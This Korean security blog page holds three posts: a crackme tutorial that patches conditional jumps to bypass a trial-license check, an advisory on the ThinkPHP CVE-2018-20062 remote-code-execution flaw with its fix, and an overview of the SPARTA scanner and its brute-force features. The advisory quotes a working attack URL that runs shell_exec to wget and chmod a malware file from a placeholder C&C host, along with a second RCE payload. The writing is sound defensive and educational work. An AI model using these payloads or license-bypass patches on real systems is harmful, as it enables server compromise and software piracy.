레나튜토리얼1. reverseMe

* 다양한 리버싱 방법이 있으며, 문제 해결에 집중하였습니다.
* 수정할 부분이나 더 좋은 방법이 있으시면, 댓글 부탁드립니다.



레나튜토리얼 첫번째 reverseMe를 실행파일을 실행하면 출력되는 메시지 박스.


* 평가판 기간이 끝났습니다. 새로운 라이센스를 구매해주세요




이 문제는 리버싱을 통해서 메시지 박스를 변경하여 출력하면 됩니다.





* 풀이



=> 40107B - JNZ 명령어를 JMP 명령으로 수정.

=> 4010B0 - JNZ 명령어를 JMP 명령으로 수정.

=> 4010BF - JL 명령어를 JG로 수정.

=> 4010D6 - JL 명령어를 JG로 수정.




올리디버거를 통해서 실행파일을 디버깅하면  401000부터 디스어셈블 창에 표시됩니다.


F8 을 눌러 하나씩 아래로 내려가면 주소 401073에서 CreateFileA 함수를 확인하실 수 있습니다.


CreateFileA (msdn 참고)

- 파일 혹은 입출력장치를 생성하거나 여는 함수

- 7개의 매개변수를 가지며, FileName을 포함하고 있음.

- 파일이 생성 및 열지를 못하면 -1 값을 리턴함.


CreateFileA 함수를 통해서 keyfile.dat을 열어서 키 값을 확인하는데, 우리는 파일이 없다.

그래서 함수가 정상 실행되지 못하고 return 값으로 -1(FFFFFFFF)을 넘겨준다.



주소 401073 함수 실행 

- EAX의 리턴값이 FFFFFFFF로 설정되어 있다.

(어셈블리에서 함수의 리턴값은 EAX에 저장되며, -1은 FFFFFFFF로 표현됨.)


주소 401078 CMP EAX, -1

- EAX과 -1을 비교하면 zf(zero flag)값이 1로 설정

- 여기서 값이 같으므로 1로 설정됨.


주소 40107B JNZ SHORT reverseM.0040109A

- 매우 중요한 부분. 이 부분을 수정하여 초기 '라이센스 구매' 메시지 박스를 피할 수 있다.

- JNZ => zf가 1이 아니면 점프하라. 현재 ZF가 1로 설정이 되어 있어 점프하지 않고 다음 명령을 그대로 실행.

- 이 경우 "라이센스 구매" 메시지 박스가 출력되므로 반드시 점프해야한다.

- 해결방안 => JNZ명령어를 JMP명령으로 수정. (CMP 명령과 상관없이 점프하므로 라이센스 메시지 박스를 피함.)









'리버싱' 카테고리의 다른 글

레나튜토리얼1) reverseMe  (0) 2019.01.31
리버싱) 바이트 오더링 및 레지스터  (0) 2018.12.03
리버싱) Ollydbg (올리디버거)  (0) 2018.11.27
리버싱) 리버스 엔지니어링  (0) 2018.11.24

ThinkPHP 프레임워크 취약점(CVE-2018-20062)


* Think PHP란?

 - 중국기업 탑씽크에서 개발한 아파치2 기반의 PHP 프레임워크.
 - 중국 40,000개 이상의 서버가 Think PHP를 통해 서버를 구동.
 - 해당 프레임워크의 경우 중국이 개발하여 아시아권에서 많이 사용.



* 취약점 : CVE-2018-20062


 - 해당 취약점의 경우 원격명령실행을 할 수 있음.
 - url에서 컨트롤러 클래스명의 유효성이 검증되지 않아 강제 라우팅 옵션을 사용하지 않고 getshell 취약성을 유발한다.


EX) WAF에서 탐지된 Think php 공격코드

 1) 컨트롤러 클래스 app을 통한 원격명령실행
  /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://(C&C_IP)/(악성코드파일);chmod (권한 설정 및 악성코드파일)

  - think php의 경우 '/' 기준으로 파싱을 진행
  - 만약 '\'를 이용하면 think 내에 컨트롤러 클래스 app를 생성하여 invokefunction 메소드를 통해 원격명령 실행가능.


 2) 컨트롤러 클래스 request을 통한 원격명령실행

  ?s=index/\think\request/cache&key=1|phpinfo

  - request 컨트롤러 클래스를 통해서 원격코드 명령어 실행가능


* 취약점 해결방안

 - 해당 취약점의 경우 2018 12월 보안업데이트를 통해서 해결이 되었음. (정규표현식에서 '\' 필터링을 통해서 해결)

 - ThinkPHP 버전 5.0.23 또는 5.1.31로 업데이트를 하는 것은 권장.

 - 최근 해당 공격이 많이 WAF를 통해 많이 탐지되고 있으며, 국내는 ThinkPHP를 사용하시는 분은 많이 없지만 사용하신다면 주의가 필요합니다.


참고사이트

https://www.boannews.com/media/view.asp?idx=76245 (보안뉴스 - 아시아에서 인기 높은 PHP 프레임워크에서 취약점 발견)

https://securitynews.sonicwall.com/xmlpost/thinkphp-remote-code-execution-rce-bug-is-actively-being-exploited/ (sonicwall - 상세한 취약점에 대한 분석 및 취약점코드 게시)




칼리리눅스 - sparta 취약점도구


sparta는 Web Scanning tool 로써 웹 취약점 진단에 사용.

* 서비스의 영향을 많이 주지 않아 실무에서도 사용.
* nikto (web 취약점 스캐너) , nmap (포스 스캐닝), NSE( Nmap Script Engine) 등을 포함하고 있음.
* 직관적인 GUI 화면.



*** sparta를 통해 확인 할 수 있는 내용 ***

  - hydra 을 통한 디폴트 패스워드 설정 확인.
  - nmap 사용하는 서비스 확인 가능.
  - x11 스크린샷 제공.
  - 패스워드 bruteforce ( 무차별 대입을 통한 패스워드 확인)



** sparta 실행화면

 - IP 입력을 통해서 쉽게 스캐닝 가능
 - 서브넷 지정을 통해서 네트워크 대역 스캐닝 가능.




 - nikto 를 통한 스캐닝 후 수집된 정보

 - 서버 정보 및 admin 페이지 등 다양한 정보를 얻을 수 있다.





 - X11 스크린샷 화면

 - 취약점 진단을 하면서 해당 웹페이지를 화면 스크린샷을 제공하는 것이 좋다고 한다.

 - 메타스플로잇터블 서버에 톰캣 페이지 




 - bruteforce 테스트 화면




** 자세한 설명은 아래 URL을 통해서 확이 가능합니다. (출처 : 보안프로젝트)



* 기타 정리
NIKTO
- Web 취약점을 진단하는 웹서버 스캐너 
- 6500개 이상의 취약 파일을 웹서버에 포괄적으로 테스트를 수행하는 도구
- 직관적인 GUI와 사용법이 어렵지 않음. 타겟 서비스의 큰 영항을 주지 않아 실무에서도 많이 사용한다고 함.
- 하지만 로그를 확실하게 남김.

Hydra - 네워크 로그인/패스워드 크래킹 툴.

postgreSQL - 객체-관계형 데이터베이스

X11 ( X Window System ) - 유닉스 계열 운영체제에서 사용되는 윈도시스템

nmap - 포트스캐닝 툴. 호스트나 네트워크를 스캐닝할때 아주 유용한 시스템 보안툴.

NSE ( Nmap Script Engine ) - Nmap 스크립트를 이용하여 정보 수집단계에서 원하는 정보만 볼 수 있는 효율적인 도구.
  


+ Recent posts

티스토리 툴바